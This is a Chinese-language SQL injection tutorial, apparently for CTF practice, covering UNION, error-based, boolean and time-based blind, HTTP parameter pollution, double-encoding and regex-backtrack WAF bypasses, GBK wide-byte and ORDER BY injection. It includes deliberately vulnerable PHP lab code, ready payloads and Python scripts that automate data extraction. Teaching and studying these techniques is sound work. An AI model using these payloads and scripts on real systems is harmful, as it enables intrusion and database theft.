一.经典联合查询注入
详细步骤:
- 判断注入点。
- 使用
ORDER BY确定列数。 - 使用
UNION SELECT确定显示位。 - 替换显示位获取敏感信息。
示例:
php
$id = $_GET['id'];
$sql = "SELECT username, email, age FROM users WHERE id = " . $id;
$result = $conn->query($sql);
$row = $result->fetch_assoc();
echo "用户名: " . $row['username'];
这个第二句,id直接拼接,没有一点过滤,直接联合查询
php
GET /user.php?id=-1 UNION SELECT 1,2,3
会发现页面存在回显数字,假如页面原本显示"用户名: admin"的地方,现在显示数字 2。说明第二列(email字段)是显示位。
php
GET /user.php?id=-1 UNION SELECT 1,user(),3
再通过回显user()命令,实现简单注入目标用户查询
原理解析 :id=-1 让原查询无结果,从而强制显示 UNION 后面的查询结果。这里id不能等于1,如是等于1,会回显1而导致后面查询结果不能显示
二.基础错误注入
基础步骤:
- 构造报错语句。
- 使用
updatexml或extractvalue函数。 - 通过报错回显带出数据。
示例:
php
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = " . $id;
$result = $conn->query($sql);
if (!$result) {
die(mysqli_error($conn));
}
这里源码也没有过滤并且源码有报错显示,可以通过报错从而注入危险语句显示数据获取信息。
基础payload
php
GET /user.php?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
页面直接报错:
XPATH syntax error: '~my_database~'
updatexml 的第二个参数必须是合法的XML路径字符串,我们将 SELECT 的结果放进去,因不符合Xpath格式而报错,数据库顺便把错误内容打印了出来。
三.布尔盲注
详细步骤:
- 判断页面真/假两种状态。
- 猜测数据库名长度。
- 截取字符并猜解ASCII码
示例
php
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = " . $id;
$result = $conn->query($sql);
if ($result->num_rows > 0) {
echo "存在该用户";
} else {
echo "不存在";
}
这里源码存在if判断,信息存在与不存在有true,false两种状态
基础payload
php
GET /user.php?id=1 and length(database())=4
我们可以通过条件判断,看回显状态观察是否存在需要的信息
如果页面返回 "存在该用户",说明数据库名长度是4。
如果返回 "不存在",说明长度不是4,继续猜。
接着可以猜第一位字母
php
GET /user.php?id=1 and ascii(substr(database(),1,1))=116
这里用ASCII码判断字母是否存在,如当前注入存在则第一个字母为t
通过逐位猜解,构建二分法逻辑,最终还原出完整的数据库名
可以利用自动化脚本实现所有信息名字猜取
四.HTTP参数污染 (HPP) 注入
详细步骤
- 测试服务器对同名参数的处理逻辑。
- 利用处理差异欺骗WAF或后端逻辑。
示例
php
string id = Request.QueryString["id"]; // 获取最后一个id
string sql = "SELECT * FROM news WHERE id = " + id;
基本payload
php
GET /news.aspx?id=1&id=1 UNION SELECT username,password FROM users
提交 ?id=1&id=1,服务器可能只取第一个,或者只取最后一个,或者合并为数组。
识别服务器类型:通常需要知道后端是PHP(IIS/Apache)、JSP或ASP.NET。
测试环境:假设后端WAF检查第一个参数,而应用代码获取最后一个参数(如IIS+ASP.NET常见情况)。
正常注入会被WAF拦截:?id=1 UNION SELECT...
使用HPP绕过:?id=1&id=UNION SELECT 1,2,3
WAF检测到 id=1,认为是安全的。
后端应用取到最后一个参数 id=UNION SELECT... 并拼接到SQL中执行。
利用中间件与WAF/应用层对参数处理的优先级不一致,实现了"瞒天过海"。
五.WAF绕过之编码与混淆
使用注释或特殊符号拆分关键字。
示例
php
<?php
// index.php
// 模拟CTF题目环境
$conn = new mysqli("localhost", "root", "root", "ctf");
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
// 创建数据库和表(仅第一次运行需要)
$conn->query("CREATE DATABASE IF NOT EXISTS ctf");
$conn->select_db("ctf");
$conn->query("CREATE TABLE IF NOT EXISTS flag (flag VARCHAR(100))");
$conn->query("INSERT INTO flag (flag) VALUES ('flag{double_url_encode_bypass}')");
$conn->query("CREATE TABLE IF NOT EXISTS users (id INT, username VARCHAR(50))");
$conn->query("INSERT INTO users VALUES (1, 'admin')");
// WAF 防御逻辑
$id = $_GET['id'] ?? '1';
// 这个WAF过滤了 union select, information_schema, sleep 等关键字
// 但是它只进行了一次 URL 解码,或者没有处理双重编码
if (preg_match('/union\s+select/i', $id) ||
preg_match('/information_schema/i', $id) ||
preg_match('/sleep/i', $id)) {
die("<h1>Hacker Detected!</h1>");
}
// SQL查询
$sql = "SELECT * FROM users WHERE id = " . $id;
// echo "SQL: " . $sql . "<br>"; // 调试用
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "ID: " . $row["id"]. " - Name: " . $row["username"]. "<br>";
}
} else {
echo "0 results";
}
$conn->close();
?>
- 浏览器或Web服务器接收请求时,会自动进行一次URL解码,将
%25解码为%。 - 然后将解码后的参数传递给PHP脚本。
- 关键点 :WAF通常位于应用层(PHP代码中),或者中间件层。如果WAF只进行了一次URL解码来匹配规则,而我们发送了双重编码,WAF看到的还是乱码,无法匹配到
union,从而放行。 - 当流量到达PHP的底层处理逻辑时,PHP可能会再次解析(或之前服务器层已经解码了一次,导致PHP最终收到的是解码后的内容)。
我们先尝试使用 /**/ 代替空格,这通常能绕过对空格的过滤。
- Payload:
?id=1'order/**/by/**/3--+ - 结果:页面正常显示。
- Payload:
?id=1'order/**/by/**/4--+ - 结果:页面报错。确定列数为3。
现在我们需要绕过 UNION SELECT
我们将 union select 进行双重编码。
union select-> URL编码 ->%75%6e%69%6f%6e%20%73%65%6c%65%63%74- 双重编码 ->
%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34
构造payload
php
?id=-1'%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%201,2,3--+
*六.*时间盲注
- 构造包含
sleep()的条件语句。 - 观察HTTP响应时间
示例:
php
<?php
// index.php
// 模拟时间盲注环境
$conn = new mysqli("localhost", "root", "root", "ctf");
if ($conn->connect_error) {
die("连接失败");
}
// 初始化数据
$conn->query("CREATE DATABASE IF NOT EXISTS ctf");
$conn->select_db("ctf");
$conn->query("CREATE TABLE IF NOT EXISTS flag (content VARCHAR(100))");
$conn->query("INSERT INTO flag (content) VALUES ('flag{blind_time_is_slow}')");
$id = $_GET['id'] ?? '1';
// 核心SQL注入点
$sql = "SELECT * FROM users WHERE id = " . $id;
// 注意:这里没有任何回显!
$result = $conn->query($sql);
// 无论SQL是否执行成功(除了语法错误),页面都输出一样的内容
// 这样攻击者就无法通过回显判断,只能靠时间
echo "<h1>Welcome to CTF Time Challenge</h1>";
echo "<p>Can you find the flag?</p>";
// echo "<!-- SQL: $sql -->"; // 调试用,实战中隐藏
?>
时间盲注测试
- Payload:
?id=1' and sleep(5)--+ - 观察:浏览器加载了大约5秒钟才显示出页面。
- 结论:存在时间盲注。
IF(条件, True_执行, False_执行)
如果条件成立,执行 sleep(5)(页面卡顿5秒)。
如果条件不成立,立即返回(页面秒开)。
python脚本
python
import requests
import time
url = "http://localhost/index.php"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_@!-."
print("[*] 开始盲注获取 Flag...")
flag_result = ""
# 我们先猜测 Flag 的长度,或者直接暴力猜到空结束
# 假设 Flag 长度在 50 位以内
for i in range(1, 50):
found = False
for char in chars:
# 核心 Payload:
# 1. (select content from flag limit 0,1) ==> 获取flag表的第一条记录的content字段
# 2. substr(..., i, 1) ==> 截取第i位字符
# 3. ascii(...) = ord(char) ==> 比较ASCII码
# 4. if(..., sleep(3), 1) ==> 如果成立则延时
payload = f"?id=1' and if(ascii(substr((select content from flag limit 0,1),{i},1))={ord(char)}, sleep(3), 1)--+"
try:
start = time.time()
r = requests.get(url + payload)
# 不设置timeout,防止脚本自己报错打断,我们手动判断时间
except Exception as e:
print(f"[-] 网络错误")
continue
end = time.time()
# 设定阈值为 2.5 秒
if end - start > 2.5:
flag_result += char
print(f"[*] Flag 第 {i} 位: {char}")
found = True
# 稍微停顿一下,避免请求过快导致数据库压力过大或网络波动
time.sleep(0.5)
break
# 如果连续找了几个字符都没有在 chars 集合中匹配到,可能意味着结束
if not found:
# 为了稳健,如果连续3个字符都没猜到(可能是标点漏了),才真正停止
# 这里简单处理:如果当前位没猜到,且已有一定长度,则停止
if i > 5:
print("[*] 未找到更多字符,盲注结束。")
break
print(f"\n[+] 最终 Flag: {flag_result}")
七.宽字节注入
PHP的PDO默认开启 ATTR_EMULATE_PREPARES(模拟预处理),这意味着它不会将SQL发给数据库预处理,而是在本地用 mysql_real_escape_string 等函数转义特殊字符。如果数据库字符集为GBK,宽字节编码(如 %df)可以吃掉转义符 \(ASCII 0x5c),组合成合法汉字。
示例:
php
<?php
// index.php
// 模拟宽字节注入环境
// 关键点1:必须指定字符集为 gbk,否则 %df%5c 不会被解析为一个汉字
$dsn = "mysql:host=localhost;dbname=ctf;charset=gbk";
$user = "root";
$pass = "root"; // 请根据你的环境修改
try {
// 关键点2:开启 ATTR_EMULATE_PREPARES (模拟预处理)
// 这会导致PDO在PHP本地使用 addslashes 机制转义,而不是交给数据库预处理
$pdo = new PDO($dsn, $user, $pass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => true, // 这里是关键!开启模拟预处理
]);
} catch (PDOException $e) {
die("连接失败: " . $e->getMessage());
}
// 初始化数据
$pdo->exec("CREATE DATABASE IF NOT EXISTS ctf");
$pdo->exec("USE ctf");
$pdo->exec("CREATE TABLE IF NOT EXISTS flag (flag VARCHAR(100))");
$pdo->exec("INSERT INTO flag (flag) VALUES ('flag{gbk_injection_magic}')");
$pdo->exec("CREATE TABLE IF NOT EXISTS users (id INT, username VARCHAR(50))");
$pdo->exec("INSERT INTO users VALUES (1, 'admin')");
// 获取输入
$id = $_GET['id'] ?? '1';
// 核心SQL查询
// 虽然这里使用了 prepare,但因为开启了模拟预处理,它并不安全!
$sql = "SELECT * FROM users WHERE id = ?";
$stmt = $pdo->prepare($sql);
// 执行查询,此时PDO会在本地对 $id 进行转义
$stmt->execute([$id]);
// 无论是否有数据,都输出一样的信息
$result = $stmt
验证是否存在宽字节注入
- Payload :
?id=1%df' - PHP处理后 :
SELECT * FROM users WHERE id = '1运''(注意这里有一个单引号逃逸) - 现象 : 通常会报 SQL 语法错误,因为多了一个单引号。如果不报错,可以尝试
?id=1%df' and 1=1 --+看看是否正常显示。 - 测试闭合 :
?id=1%df' and 1=1 --+-> 如果页面显示正常(有数据),说明注入成功。- 实际SQL:
SELECT * FROM users WHERE id = '1運' and 1=1 -- +'
- 实际SQL:
判断列数
- Payload :
?id=1%df' order by 4--+- 结果: 报错(Unknown column)。
- 结论 : 列数为 3。
构造python脚本
python
import requests
import time
url = "http://localhost/index.php" # 请修改为你的实际地址
# 存放结果的变量
flag = ""
print("[*] 开始宽字节注入获取 Flag...")
# 我们直接爆 flag 表中的 flag 字段
# 假设 flag 长度在 50 位以内
for i in range(1, 50):
# 遍历常见的 ASCII 字符
for char in range(32, 127):
# 构造 Payload
# 核心点:在单引号前加 %df
# 语法:ascii(substr((select flag from flag limit 0,1), i, 1)) = char
# 注意:Python中如果直接构造字符串,' 需要被浏览器编码。
# 这里我们手动写完整的 payload 格式
payload = f"?id=-1%df' union select 1,2,if(ascii(substr((select flag from flag limit 0,1),{i},1))={char},1,0)--+"
try:
r = requests.get(url + payload)
# 根据页面回显判断
# 如果页面显示 "Username: 1" (因为 if 为真,查询结果变成 ...2,1)
# 如果页面显示 "Username: 0" 或 "No results" (如果 if 为假)
# 这里我们需要根据实际页面响应来判断。
# 假设当猜对字符时,页面回显的 "Username" 后面是 "1",
# 或者我们可以利用 SQL 逻辑让页面在猜对时显示 "admin",猜错时不显示。
# 更稳健的布尔盲注写法(不需要回显1或2,只看是否存在数据):
# 猜对时:select 'admin' (存在数据) -> 页面显示 Username: admin
# 猜错时:select 0 (由于id=0不存在) -> 页面无数据
payload_bool = f"?id=-1%df' union select 1,2,if(ascii(substr((select flag from flag limit 0,1),{i},1))={char},'admin',0)--+"
r = requests.get(url + payload_bool)
# 判断 "Username: admin" 是否在页面中
if "Username: admin" in r.text:
flag += chr(char)
print(f"[*] 当前第 {i} 位: {chr(char)}")
break
except Exception as e:
print(f"[-] 发生错误: {e}")
print(f"\n[+] 最终 Flag: {flag}")
字符集编码不一致导致的"宽字节"吃掉了转义字符,使得单引号闭合生效
八.正则回溯绕过
这属于拒绝服务攻击的一种变体,目的是让WAF失效。
利用PHP PCRE库的回溯限制(默认 pcre.backtrack_limit = 1000000)。如果WAF的正则表达式写得不好(例如使用了大量的贪婪匹配 .* 或 .+),攻击者发送极长的特定字符串,会导致正则引擎回溯次数耗尽,强制返回 false(匹配失败),而不是 true 或 false(匹配/不匹配)。许多WAF代码写得不好,只检查了 preg_match === false 之外的逻辑,导致绕过。
示例
python
<?php
// index.php
// 模拟存在 ReDoS 漏洞的 WAF
// 设置一个非常低的回溯限制,方便测试(实际生产环境通常是默认的 1000000)
// 这里设置为 1000,意味着只需要几百个字符就能触发
ini_set("pcre.backtrack_limit", "1000");
$id = $_GET['id'] ?? '1';
// 漏洞的正则 WAF
// 贪婪匹配 .* 会导致大量回溯
if (preg_match('/union.*select/i', $id)) {
die("Hacker Detected!");
}
// 注意:代码逻辑缺陷
// preg_match 失败(回溯溢出返回 false)时,没有进入 die,直接放行了!
// 正确的写法应该是 if (preg_match(...) === true) { die(); }
// 模拟数据库查询
$conn = new mysqli("localhost", "root", "root", "ctf");
$conn->query("CREATE DATABASE IF NOT EXISTS ctf");
$conn->select_db("ctf");
$conn->query("CREATE TABLE IF NOT EXISTS flag (content VARCHAR(100))");
$conn->query("INSERT INTO flag (content) VALUES ('flag{regex_backtrack_magic}')");
// SQL注入点
$sql = "SELECT * FROM flag WHERE id = " . $id;
// echo "SQL: " . $sql; // 调试
$result = $conn->query($sql);
if ($result) {
$row = $result->fetch_assoc();
if ($row) {
echo $row['content'];
} else {
echo "No results";
}
} else {
echo "SQL Error: " . $conn->error;
}
?>
- 测试回溯绕过
- 我们需要插入超长字符串。由于限制是 1000,我们大概需要 500-600 个字符。
- Payload:
?id=1 union [输入600个a] select 1,2,3 - 结果:
- 字符串长度超过阈值,WAF 放行,页面显示 SQL 语法错误(因为 Payload 语法不对,但说明已经绕过了 WAF)。
- 验证成功:如果你看到了 SQL Error 信息,说明你已经成功绕过了正则检测。
编写 Python 自动化解题脚本
python
import requests
url = "http://localhost/index.php"
# 1. 生成用于耗尽回溯次数的字符串
# 限制是 1000,生成 600 个 'a' 足够触发回溯溢出
# 在实战中(默认100万次),可能需要生成约 50万 个字符,这通常需要 POST 请求
buffer = 'a' * 600
print("[*] 开始利用正则回溯绕过注入...")
# 2. 构造注入 Payload
# 我们需要执行: SELECT * FROM flag WHERE id = -1 union select 1,2,(select content from flag)
# 注意:为了安全,我们在 union 和 select 中间插入 buffer
# 目标 SQL 注入语句
injection_payload = "-1 union {buffer} select 1,2,(select content from flag)"
# 将 buffer 填充进去
final_payload = injection_payload.format(buffer=buffer)
# 3. 发送请求
params = {
'id': final_payload
}
try:
r = requests.get(url, params=params)
# 4. 分析响应
if "Hacker Detected" in r.text:
print("[-] 绕过失败,buffer 可能不够长。")
elif "flag{" in r.text:
# 打印出 flag 的部分
start = r.text.find("flag{")
end = r.text.find("}", start) + 1
print(f"[+] 成功获取 Flag: {r.text[start:end]}")
else:
print(f"[+] WAF 绕过成功!但可能语法有问题,页面返回:\n{r.text}")
except Exception as e:
print(f"[-] 请求出错: {e}")
- 最终发送给服务器的参数类似:
id=-1 union aaaaa...[600个a]...aaaa select 1,2,(select content from flag)
-
服务器端处理:
-
WAF 正则引擎开始工作,尝试匹配
union和select。 -
中间有 600 个
a,正则引擎开始回溯尝试匹配路径。 -
当回溯次数超过
1000时,PHP 抛出 PREG_BACKTRACK_LIMIT_ERROR,preg_match返回false。 -
if (false)判断为假,WAF 认为输入"不匹配"恶意特征,放行请求。
-
-
数据库执行:
-
MySQL 接收到 SQL:
SELECT * FROM flag WHERE id = -1 union aaaa... select 1,2,(select content from flag) -
MySQL 执行时会忽略
union和select中间的那堆a
-
九.PDO 真正预处理的逻辑绕过
示例
php
<?php
// index.php
// 模拟 PDO 预处理逻辑绕过
$pdo = new PDO("mysql:host=localhost;dbname=ctf;charset=utf8", "root", "root");
// 初始化数据
$pdo->exec("CREATE DATABASE IF NOT EXISTS ctf");
$pdo->exec("USE ctf");
$pdo->exec("CREATE TABLE IF NOT EXISTS flag (flag VARCHAR(100))");
$pdo->exec("INSERT INTO flag (flag) VALUES ('flag{pdo_logic_bypass}')");
$pdo->exec("CREATE TABLE IF NOT EXISTS users (id INT, username VARCHAR(50))");
$pdo->exec("INSERT INTO users VALUES (1, 'Alice'), (2, 'Bob'), (3, 'Charlie')");
$order = $_GET['order'] ?? 'id';
// 核心代码:虽然使用了 prepare 和 execute
// 但是 $order 是被直接拼接到 SQL 结构中的!
// ? 占位符只能代表值,不能代表 SQL 关键字或标识符
$sql = "SELECT * FROM users ORDER BY " . $order;
// 这里的 prepare 只是为了执行,无法过滤 order 参数
$stmt = $pdo->query($sql);
// 输出结果
echo "<table border=1>";
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
echo "<tr><td>{$row['id']}</td><td>{$row['username']}</td></tr>";
}
echo "</table>";
?>
代码分析
代码使用了 $sql = "SELECT * FROM users ORDER BY " . $order;
这里 $order 是直接拼接的,没有经过预处理绑定(预处理绑定只能用于 WHERE id = ? 这种"值"的位置,不能用于 ORDER BY 后面这种"列名"或"表达式"的位置)
我们可以控制 ORDER BY 后面的内容,正常请求:?order=id -> SQL 变成 SELECT * FROM users ORDER BY id,我们可以注入逻辑判断,例如:?order=if(1=1, id, username)
因为页面会输出表格(id 和 username),我们可以通过页面的排序变化 或者报错来逐位猜解 Flag
测试基本逻辑
**?order=id :**页面按 id 顺序显示 (1, 2, 3)。
?order=if(1=1, id, username) : 因为 1=1 为真,执行 ORDER BY id,页面显示 (1, 2, 3)。
?order=if(1=2, id, username) : 因为 1=2 为假,执行 ORDER BY username,页面显示 (Alice, Bob, Charlie)。
我们可以通过观察页面的排序顺序(例如看第一行 ID 是 1 还是 2)来判断 if 语句中的条件是否成立。这就是布尔盲注的基础。
报错探测
?order=(case when (1=1) then id else 1/0 end) : 正常显示(因为 1=1,走了 then id 分支)
?order=(case when (1=2) then id else 1/0 end) : 页面报错 Division by 0(因为 1=2,走了 else 1/0 分支)。
构造python脚本
python
import requests
# 目标 URL (请根据本地环境修改)
url = "http://localhost/index.php"
# 存放结果的变量
flag = ""
print("[*] 开始 PDO 逻辑绕过盲注...")
# 假设 Flag 长度在 50 位以内
for i in range(1, 50):
found = False
# 遍历可打印字符的 ASCII 码
for char in range(32, 127):
# 构造 Payload
# 逻辑:
# 如果第 i 位字符的 ASCII 码等于 char
# 则 ORDER BY id (正常)
# 否则 ORDER BY 1/0 (报错)
payload = f"(case when (ascii(substr((select flag from flag limit 0,1),{i},1))={char}) then id else 1/0 end)"
params = {
'order': payload
}
try:
r = requests.get(url, params=params)
# 判断:如果页面没有 "Division by zero" 字样,说明条件成立(猜对了)
if "Division by zero" not in r.text:
flag += chr(char)
print(f"[*] 第 {i} 位: {chr(char)}")
found = True
break
except Exception as e:
print(f"[-] 请求异常: {e}")
if not found:
# 如果所有字符都试完了还没匹配到,说明 Flag 已经结束或不在范围内
break
print(f"\n[+] 最终 Flag: {flag}")
脚本逻辑:
- 遍历 Flag 的每一个位置。
- 猜测每一个字符的 ASCII 码。
- 如果猜测正确,Payload 变成
ORDER BY id(不报错)。 - 如果猜测错误,Payload 变成
ORDER BY 1/0(报错)。